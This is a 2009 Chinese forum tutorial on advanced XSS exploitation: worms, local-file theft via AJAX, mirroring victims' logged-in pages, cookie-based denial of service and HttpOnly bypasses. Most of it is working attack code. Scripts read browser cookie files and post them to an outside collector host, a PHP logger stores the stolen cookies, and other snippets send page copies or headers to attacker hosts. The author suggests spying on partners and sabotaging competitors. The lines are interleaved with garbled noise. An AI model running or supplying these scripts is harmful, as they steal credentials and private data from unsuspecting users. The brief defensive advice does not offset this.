XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
本帖最后由 racle 于 2009-5-30 09:19 编辑
5 b6 N+ U" e; k
XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
9 c, @) D0 W, CBy racle@tian6.com   
, }4 X( u* r2 k3 Ihttp://bbs.tian6.com/thread-12711-1-1.html
转帖请保留版权

' Y! K% u* A' m& l$ ]

! X6 o9 ~$ b4 }-------------------------------------------前言---------------------------------------------------------
( P0 {: D* _  K# I4 E
+ E& s+ m; \; T+ W3 a) d, H# G
" K) d' P3 e- {" b/ {本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
% E6 \/ q% A3 C" [

1 b$ r9 Z& [. x2 X如果你还未具备基础XSS知识,以下几个文章建议拜读:
# a2 A2 u' g/ }  u% f; Vhttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
' p- W: K! d+ h' }http://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
% w" u) B9 o5 z6 H/ uhttp://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
1 r  Q+ [: P0 r5 Ahttp://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
8 v& p$ t% p- @( i0 z3 Ghttp://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持


% d* c" d: T7 O6 M$ k5 D

如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.

. r1 q# H& s' ^" r希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
) @! q% F/ F1 {( l9 W
如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,

  ~" g# i0 `( e& P2 `  X6 VBaidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大
& A0 X: E: D' q, [2 K7 l3 R+ ]
QQ ZONE,校内网XSS     感染过万QQ ZONE.

7 p' Q) _; Z  u, R6 D" pOWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪

4 J* T) ]+ Z# v# j..........
复制代码------------------------------------------介绍-------------------------------------------------------------

: Z# ~. _0 R3 X什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.


) x+ q' }8 ]! @# A" P5 O( y
/ n, V6 M( ]2 s  H6 u* G: C跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.


2 u5 P5 {: t' X! y
如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
! ]" f0 g5 ?  u$ E6 A复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
/ W) K1 e6 M- }9 I我们在这里重点探讨以下几个问题:

1        通过XSS,我们能实现什么?
, r9 b% y9 D- P
' L: [* N- t$ M/ Q3 D- }, A2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
+ s/ y# Y4 P6 n1 _
- O0 b% D# Y4 i6 I+ T& D3        XSS的高级利用和高级综合型XSS蠕虫的可行性?

4        XSS漏洞在输出和输入两个方面怎么才能避免.
2 x' l* n8 h" {* R0 s2 T4 S
% I" o" K8 `3 S8 U1 g  Y, q, e8 C

------------------------------------------研究正题----------------------------------------------------------
  S# Z: C( m: B- ?; [7 }& ^
+ H) T8 A- F0 `5 ], ~1 D
6 P  F6 m3 D; E7 X& D+ Y0 a7 R
通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
; N! P5 x# O* w, s2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
4 g7 `2 a, b6 T2 ~8 U7 o" {2 Y5 t3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
4:Http-only可以采用作为COOKIES保护方式之一.
0 Q, v" r( A- @; I. q+ i/ u" W


! o2 ]; H' N' {5 Z/ D
$ G% _2 @" c3 a5 a9 M$ W
* o7 b' _/ a' N5 }7 {. v(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
0 E8 j) C' X; _7 c
6 p* o3 P% l2 d5 ^我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)
6 G& p) u6 n9 M/ \8 [
4 R. L. i8 A+ q8 @& L' c
6 Z! x6 M9 Z* e* r% K- Z
2 z' x0 D8 W# h0 Z" p% _# z3 ?    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。

2 |) t  b5 p; E* T) v

    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
7 S' W+ W2 }6 v: q6 Q( O% u

7 m- P- [" a/ c# O! Z
    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
复制代码IE6使用ajax读取本地文件    <script>
' w( i* K# A! J
$ z2 V; D# [1 F. X1 z    function $(x){return document.getElementById(x)}
2 s- W; D; W& P9 f' X
0 J( T% B3 q: D: ^
& G0 G) j9 w( S! O% g; R
4 G# h! k! Q. Q9 u/ I# a+ A) [, w    function ajax_obj(){
) s0 a& f% E/ f, @
; Q# P/ x" [1 ^2 Y  ^) S9 S: s. `    var request = false;
5 k, ]0 c) S+ T( I/ V0 \
! u- R/ O6 r: P; Q' p0 y    if(window.XMLHttpRequest) {
* h4 P/ {7 f0 U; \
    request = new XMLHttpRequest();

4 W  H  K% F6 g( X    } else if(window.ActiveXObject) {

    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
, [, D5 [* w/ b2 v  {

( m7 M! `$ J7 u
    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

    for(var i=0; i<versions.length; i++) {

9 T& j$ R( b- R0 u' h    try {

    request = new ActiveXObject(versions);
- `3 v' m0 h" h' M1 j
8 Q( J& ~" B7 V0 P2 }) v' C% P    } catch(e) {}

    }
) W, ?+ r4 v0 W3 q" E) N
    }

$ @4 }. @; j" }( N( }    return request;

    }

' C* _! ~  N) c7 E    var _x = ajax_obj();

+ T  C  z( [: O8 }6 V4 h2 r    function _7or3(_m,action,argv){
6 e$ s) @$ e$ v9 O3 X$ P9 H' U
    _x.open(_m,action,false);
8 M* [( F" g- H
    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    _x.send(argv);
! V/ i  j3 F6 [$ Q' \6 m
    return _x.responseText;

    }

2 a9 [7 V0 m: a6 M5 i; x1 R
, I0 t) v: P, n9 Y& L5 y+ A
    var txt=_7or3("GET","file://localhost/C:/11.txt",null);
2 k* V! y" i8 \  a9 q, ^. L
    alert(txt);

2 o$ e5 J' C& T( q% J: h1 A

    </script>
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>
! Y2 b  R" h% m: c
    function $(x){return document.getElementById(x)}


! f3 W/ F$ I" s7 L( _- X$ D# ?
! C4 X! W7 f) n. s    function ajax_obj(){
- v1 ^6 d. D' V/ N/ p  i% R; m
    var request = false;
6 j$ W: Q- N/ j" O0 T/ L
$ T  M4 S- ^; |# W. t# c* m    if(window.XMLHttpRequest) {

    request = new XMLHttpRequest();
3 F0 ]! X3 ?8 |3 D5 [0 Q7 |
    } else if(window.ActiveXObject) {
0 C. Y- R5 B) ]! r# q- @. l
    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',


2 @1 g& k) m% V
7 _/ u( h: q% _; |! K    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

- |5 m) W& [. h; q1 e+ Y8 O    for(var i=0; i<versions.length; i++) {
6 h5 g. i' ]" z, l" {: f
1 ^  z; e% W% d# [7 ^* \    try {
) Y4 g8 I5 d$ c1 T8 O
    request = new ActiveXObject(versions);
7 n2 f0 s' w9 O& {7 u3 ]  s
    } catch(e) {}
; J1 r) e0 t$ X7 o' [* u& X: c  H' c
% g% z+ s0 }9 u# A" i    }

, h9 }( [* \1 _4 F! _    }

    return request;
! ?1 C$ Z# K! }
: i& U3 w) {& B: H/ n# Q5 f! l    }
0 C( p# x* o8 H
' K0 a: V9 H- v  @, z    var _x = ajax_obj();
8 `1 R; K" C9 X$ ^2 }
. B6 b" W) o, v8 i    function _7or3(_m,action,argv){
2 K, B/ l4 |. t2 I, u2 x
' K6 h( x* a5 ?    _x.open(_m,action,false);

    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
; t8 w7 ]/ i& z7 s" S8 `# V1 _: _
# O, Z6 h9 b) |8 m8 Y+ `9 }    _x.send(argv);

    return _x.responseText;
5 z: i7 C) S4 t
    }


( t7 k- K, r; R& i. T, J9 X. O
    var txt=_7or3("GET","1/11.txt",null);

    alert(txt);
) @: e' p: w1 Q


    </script>
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
9 Q$ J  E, S( b, [2 a2 D" d

, w; Y3 K) W( u# O
Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
! P# N  M. I/ @& a: R- W


3 j4 w' l2 O& `6 ?8 X2 I- g<?   
1 o+ Z2 c" ?2 r" V. i
# R; c# Z! p; G/*  

: J& k3 ?" T' n  P7 C3 ?4 e     Chrome 1.0.154.53 use ajax read local txt file and upload exp  
) s' N4 w" n6 E% [
     www.inbreak.net   
. G8 |( M+ ]& o
     author voidloafer@gmail.com 2009-4-22   
- F8 N+ [5 R& ]6 j" `; z- D2 e
( ^- I, _! l/ @     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  
8 l9 y1 T5 k) t  A4 E2 z
*/  

3 A: c$ M9 i* ]header("Content-Disposition: attachment;filename=kxlzx.htm");   
& _; i* Z7 N" U6 u) Q5 P
% p' Y  Q( a( ]! M$ _( qheader("Content-type: application/kxlzx");   

; C  d' t' I) z/ G/*  

1 y% e+ F6 M; n3 @     set header, so just download html file,and open it at local.  
0 }/ W" p- l) H0 U
*/  

! t- x, a5 O/ u, ]?>   
: Z/ Y3 c2 C3 K) g9 z2 I
; U  K! a! X) S( c1 t6 L, o0 |1 c<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   
) [, x: ~4 I/ i6 ^4 w2 i4 a
     <input id="input" name="cookie" value="" type="hidden">   

2 M3 V# V0 v- z  j2 n( Q</form>   
& D3 E5 U" C; b( W* [
<script>   

function doMyAjax(user)   
# O8 F" ?! X7 s& Z) a* v
{   

var time = Math.random();   
. r7 B' Y0 b9 ^) l5 v% A
* a, b8 H: f% @/ m/*  

6 \3 q! M3 [; D9 X3 a& dthe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  

and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  
% _9 T+ B5 T0 t, I! c1 o
and so on...  

: o9 U  f' ^: W" e6 U# f4 F" W*/  
& ]  h$ @6 k  S3 Z7 s
) A" y/ J- v0 N0 ?' j# j, [, [4 Z3 P8 yvar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   
3 _, M  B2 V  o0 E( a; l& N( U
   
: v% n% v- ^- h) {3 Q
/ B# \0 s" j8 e' JstartRequest(strPer);   


0 T1 a/ i, k% X& e; {) c  f& _
}   
, Z5 k; _; a! O6 G  u4 w9 {9 n
   
$ n, Z$ C$ R9 B0 B
  D2 |7 n; i/ K, w: r0 ofunction Enshellcode(txt)   
/ ~) \0 L2 V- e7 N1 y
{   

var url=new String(txt);   

var i=0,l=0,k=0,curl="";   

l= url.length;   

for(;i<l;i++){   

1 J: k) Z+ C6 C2 m3 Ik=url.charCodeAt(i);   

9 q  ?  j5 c( ?1 `+ k+ Mif(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   
$ x% R' O% y, s6 `/ A: p( `' R
if (l%2){curl+="00";}else{curl+="0000";}   

curl=curl.replace(/(..)(..)/g,"%u$2$1");   
5 S. P: B: p, q# G$ v% u* Q' u
. N3 ?, W5 D5 X6 e/ \7 N; y5 q/ Yreturn curl;   

}   

   

   
. P& a7 }4 r5 v5 u
* X( I4 @0 A6 G. _: ?% Rvar xmlHttp;   
3 K9 S1 `* ~# y0 z
; j- H3 n* w5 Y' S  [! G! Afunction createXMLHttp(){   

     if(window.XMLHttpRequest){   
! X. J# S2 }- G. I) s4 p7 _
xmlHttp = new XMLHttpRequest();           

     }   
$ D5 k; I' X$ Y8 J
     else if(window.ActiveXObject){   
. W3 X" I( h1 B! h  ^
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   

     }   

}   

   
: V' l0 C8 e; w9 x& g
function startRequest(doUrl){   

6 q! P7 e% W4 o3 `   

$ y# P! `  l% r# o     createXMLHttp();   


* W$ B2 U. O/ K. P
- I% g/ j- T8 Q, O8 s& A% |     xmlHttp.onreadystatechange = handleStateChange;   
! F* T4 ]" A8 @. x- r! S. X
+ M" o4 Y2 I( s" `! ^; q# G( K( }

     xmlHttp.open("GET", doUrl, true);   


$ Z3 M1 R( w, {$ i
     xmlHttp.send(null);   
( c3 i8 {& r6 @3 b: b: {

1 P% J  e$ O4 N1 A
, b7 e; n: p* r: T8 }; a

}   

( \9 v. x3 \  |! L* p& @$ }9 M4 n4 t   

function handleStateChange(){   
. `& Q; c  L1 W; ?
     if (xmlHttp.readyState == 4 ){   
& w3 ?) t! W! {  ?4 i
     var strResponse = "";   

! I' S8 V8 ?% k4 Y8 z     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   

        
* Z# `/ `2 X6 i3 n7 }) r
  f- E/ _& ^; S: R     }   

}   

' J, }1 [' X3 _- ^7 ^) ^   

2 z& N  ]; p( V   
8 n4 y, `# q/ R! Z! r# M' [
, ]4 N+ L, y0 t2 t+ H, x/ x* L% L0 Mfunction framekxlzxPost(text)   

1 _/ h  m; B. |; H2 C0 q' v- \{   

" {& H* D& F( I' z8 W  a) K! }     document.getElementById("input").value = Enshellcode(text);   
( N2 {8 u. Q3 Y# j( b+ S4 T3 |
, @; ~6 o: c/ \; p6 J# c" ?" G$ @     document.getElementById("form").submit();   
: z& S. z4 k, M3 X7 j3 Q7 B/ t
; K: G2 _+ r. S% j2 `6 q}   
( Z, q+ t! c/ w: Z' k' V
5 t: z5 k% a2 d. @   
# o4 y7 w$ U% S" H: `
doMyAjax("administrator");   
% y) Z# [: [0 V+ O/ w  k3 _
   

</script>
7 \4 S+ r: e9 Y+ A' P/ o. R6 _6 m3 b复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  
2 w* T# A+ E5 U( n' [) ]
var xmlHttp;  

0 a- w! Q  x9 M% s* I% Y0 X  r3 z6 dfunction createXMLHttp(){  

0 `9 n) m/ A: A     if(window.XMLHttpRequest){  

$ R$ z8 K  Z4 Y4 {         xmlHttp = new XMLHttpRequest();         
1 R/ k2 O1 n. k% ?
     }  

     else if(window.ActiveXObject){  

2 C! U) ?4 l' G         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  

+ B0 k9 a. e! O. @) s/ I# O     }  
6 _4 R/ A4 y+ y/ D$ m
* j5 [+ G* Q5 U$ s: e}  

   
. H; s# b" w! F& w
function startRequest(doUrl){  
) m) d1 ]7 g) a5 S
. C- a1 B/ t( Y2 _/ @           

     createXMLHttp();  
: D' B# o5 y8 K* ^2 T
$ n7 g1 M/ z  [8 f8 z8 B      
. v0 H: q: {! ]5 i5 Z
/ y$ R! H: r% c: m  i/ [     xmlHttp.onreadystatechange = handleStateChange;  

! W5 A& n2 P" P' }      

5 V- J$ L% }- ^2 T* @: K0 B- S     xmlHttp.open("GET", doUrl, true);  

      
( U8 c3 m. H) F9 Y) z
     xmlHttp.send(null);  
& O& o0 A6 I/ d- d5 P+ M
0 ^. z! w' W& q( n! l5 W! }      
! O5 E- Q/ K2 ?4 M: l& F
      
) u5 f3 y7 @5 a2 y- a: Y  J
}   
5 L' ~+ S* N5 r3 B6 x
   

( c4 S/ G$ u' ?5 dfunction handleStateChange(){  

     if (xmlHttp.readyState == 4 ){  

1 t" G; |% M# _/ L5 ~4 X             var strResponse = "";  
" i% _4 N7 x8 w, q0 @, \; V! ^% k
3 g$ p$ K, A0 P0 v" q: E2 ^* D8 P             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   
9 K/ b0 q6 n4 W4 P+ G0 ?
               

% O0 T% Y9 l+ r- `) S0 E* Q     }  
% Z) ]$ k7 G" ~# h( N3 z8 p
: E9 |  J: m- z, f8 @( x' ?0 b" f}  

+ h1 R0 R- g7 y   
& V' L5 h; q' O5 R: V
. O4 V0 ]# o' a1 r7 lfunction doMyAjax(user,file)  

{  

         var time = Math.random();  
3 {3 z' V) S0 s
           
3 ?; ]& L( F1 F
         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  
/ t# T2 q. J, i8 W. c9 s  m
$ y+ @3 P/ W6 t4 J5 Z8 w           

9 c* a0 T4 W0 j# P3 ~' L' H1 o% g         startRequest(strPer);  

( o7 _* W1 N! T$ w6 r      
) H; T# k$ X+ \/ F1 R: ~
) f+ v2 U0 {0 T- x: D* }; {}  

   
' h! w% f" x$ F2 y1 o
3 c6 ^9 L' |: x- Ffunction framekxlzxPost(text)  
) r. d9 n5 S# O3 q7 c
{  

     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  

     alert(/ok/);  
3 w) S0 w6 ]0 O. o
2 d2 J) F  g8 Z}  

% o' y7 |4 z) j: }$ Q! x   

! z9 V4 f. ]) ]5 e: ^; rdoMyAjax('administrator','administrator@alibaba[1].txt');  

   
+ X/ y5 z7 F2 o4 u  ~- B- i
</script>
$ i; ]6 ~& `& Y) ]
# S- S& O+ T: ~0 B/ z

1 F! F% j  F+ _6 b
, @: w. l/ x$ x( O: u4 P
+ ^9 L( K) r  w8 V7 xa.php
# E& u* C; @& c5 Y, X

% N4 H$ K7 v. A: ^5 C2 a9 f
# m2 x$ ~4 u7 @0 @+ I0 k2 c<?php      

$ R1 n# ?# D( U* v   

$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  
# G& X0 x$ u6 k. [6 S
$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   

  

+ V5 D  S2 }& s+ a) A$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     
& H) ^: n: l0 u, ^4 T
- C4 t0 z: C+ G3 ~. w$ {fwrite($fp,$_GET["cookie"]);      

) ^! E1 c! ^' y9 t8 x0 g8 Qfclose($fp);   
; F& j! i, R, E! k+ C3 K0 @
6 H2 t1 X! m: `7 P2 n& _8 |% E6 O?>
# V# S: K' B+ K/ G6 C复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:

. W  [6 F1 J8 r" n或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.

* g. E9 `. K% f5 r, z/ R4 T/ k# X代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
) y; g' q( N0 b/ D& a2 @
! L9 U5 I) z0 d, E1 i7 h4 L/ k! z//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);

5 i; e9 d5 L" h//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
3 Z  C) i6 l# A7 D2 ]
function getURL(s) {
6 F/ k$ |- M( U& d
var image = new Image();
5 y9 b+ b7 {. a. h
image.style.width = 0;

  \. l! u3 Z8 ~$ C5 h' Simage.style.height = 0;
7 X% }) z2 _' I0 p4 [- B; Z% H
image.src = s;

) r7 f% ^2 P: J  A6 ]/ ]}
4 p6 |1 T$ R! ?9 W
6 A+ W3 v8 T$ K# }getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
7 S, d2 I6 Z% ]* [复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
这里引用大风的一段简单代码:<script language="javascript">
- n. Q' n) I3 i" C
var metastr = "AAAAAAAAAA"; // 10 A

var str = "";
4 L7 A+ J! x# J% M; v
: x4 s# {) l7 q7 ewhile (str.length < 4000){

& I+ k* f) l8 [2 l6 z) u3 l    str += metastr;

}
: ]! r/ N1 E6 k4 b
& I, L' s1 m( M  e9 w
& C& Z! s2 J4 @  }
' t  w* `+ k3 T4 S9 E) ydocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS
, F' D/ R. _) ^8 J; L1 o
</script>
  ]5 C3 m, c: b$ F9 U1 r
详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150

假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.

3 g0 W4 @$ r, D  \/ x' j




(III) Http only bypass 与 补救对策:
0 K6 l1 B: V( }- g- W
什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
; o! P2 \8 g9 o/ ?
- u/ p' d) ^1 u. K% {6 W& q<!--

  u' |0 Z$ h3 m# R: s4 Zfunction normalCookie() {

document.cookie = "TheCookieName=CookieValue_httpOnly";

8 [& f" w7 C& p: D! f& e; Talert(document.cookie);
" v) C+ k, m6 W$ [2 ?( t. p% Y1 ]
}
0 D; R' N& c# `6 ^# H5 O


' O. X3 G  b4 Y7 A9 U
5 m; S: N% Q; |" |$ d8 g8 n  K% T
" o  \. j9 t9 Y2 o8 v1 dfunction httpOnlyCookie() {
' Q3 {8 ^# p$ h. i. @$ ^
document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";

alert(document.cookie);}
8 C- u0 V+ H$ Z! z6 i. }% t6 d- T
; r: F) Y) L- o5 f- G. X0 k

//-->

</script>


* v& k0 t1 o# u( N
: V: f% Q* _7 s7 ^9 }& O1 X2 Q1 L2 U<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>

<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
! c9 }3 R" ^. b" r1 |: x) D复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>



var request = false;
- _6 a9 \* z1 ~8 s& n( U" g
        if(window.XMLHttpRequest) {

5 B7 a* C3 D4 s5 Q( _$ y            request = new XMLHttpRequest();
. q  L1 D5 n- T5 O! s: u6 s9 P
            if(request.overrideMimeType) {

                request.overrideMimeType('text/xml');

            }

        } else if(window.ActiveXObject) {
! a+ o. e$ {6 k% O6 O' ^  ]
            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
% G2 h7 F4 e( F. m* C8 }
( ~* g& W: x4 K5 j6 }0 N0 i& L& ~            for(var i=0; i<versions.length; i++) {

3 b, I$ w4 ?) `& N3 W" g) B* {2 q( A/ b                try {
$ x) T2 F% @& Q; ?" G, o  ~- R
5 b8 |" ?, {- N" Q1 M, j; f  {                    request = new ActiveXObject(versions);
9 a/ W! ~% D( ^; `( R9 y
                } catch(e) {}
0 r: f, A$ ]7 V' c+ j: N
$ o3 Z, I# F1 i* K5 V8 z            }

7 m4 L/ x# m+ {* g/ ^6 P        }

- Z7 r$ ^2 g3 W3 X1 x+ ^# b* FxmlHttp=request;
7 X! n& _' q; R
xmlHttp.open("TRACE","http://www.vul.com",false);

8 `$ d( k% K2 v3 Y; Y7 SxmlHttp.send(null);

xmlDoc=xmlHttp.responseText;
0 O# w; t9 M1 j1 t* i
, t" K: `! g3 F5 O- y; salert(xmlDoc);
! V+ P3 u  w+ c
</script>
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
2 T, `$ @$ v& F; F: v4 r0 b8 l
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

XmlHttp.open("GET","http://www.google.com",false);
3 x$ l% Q7 A0 z
3 M$ L9 x0 V. ?  v- aXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

XmlHttp.send(null);

var resource=xmlHttp.responseText
$ f3 X" Q. m$ Q) U  F
: |/ j1 q. c$ T- k' a. Q: G* _# L7 F( |resource.search(/cookies/);

......................

0 m8 r/ ~- f- Q" g4 T. r6 W</script>
, Y0 _. Q  R. I6 U  T3 Q& K8 t( ?
% j( e2 l5 E- V3 J- {8 }
* z6 X- |; _( j+ R" C

* f: f7 A2 P8 C5 j
" b; R4 J7 V) v$ A* z- k如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
3 M) [( V0 Z% e6 H: t
[code]
, o" n& E" Y, e
5 G* q8 R* y! ~" cRewriteEngine On
' ~* R2 h7 b& o6 a( a+ Z
RewriteCond %{REQUEST_METHOD} ^TRACE
/ ?  p' F5 `" m2 V' ~5 i- }6 `
RewriteRule .* - [F]
. \& }' i9 K3 x$ E' K2 \5 c7 u
" z' u' P0 R& H6 P( g. H# q' ?
. f7 P; \; ~! j6 X- G  b
' a$ U0 z- ^2 H; \& @# TSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求

% D; p% e) D2 b) |acl TRACE method TRACE
; G' o- l1 l" \- \
8 e" I9 O2 _8 V- z/ A8 p...

# D+ x, G" O( }. whttp_access deny TRACE
: }* d  f0 |) A8 \复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
) ]5 a# h5 w; _$ ~- I
* K; m1 l. Z( f% M8 ~( e& wvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

XmlHttp.open("GET","http://www.google.com",false);

: b, B1 f2 J) l* q  e9 P& n, `XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

XmlHttp.send(null);

</script>
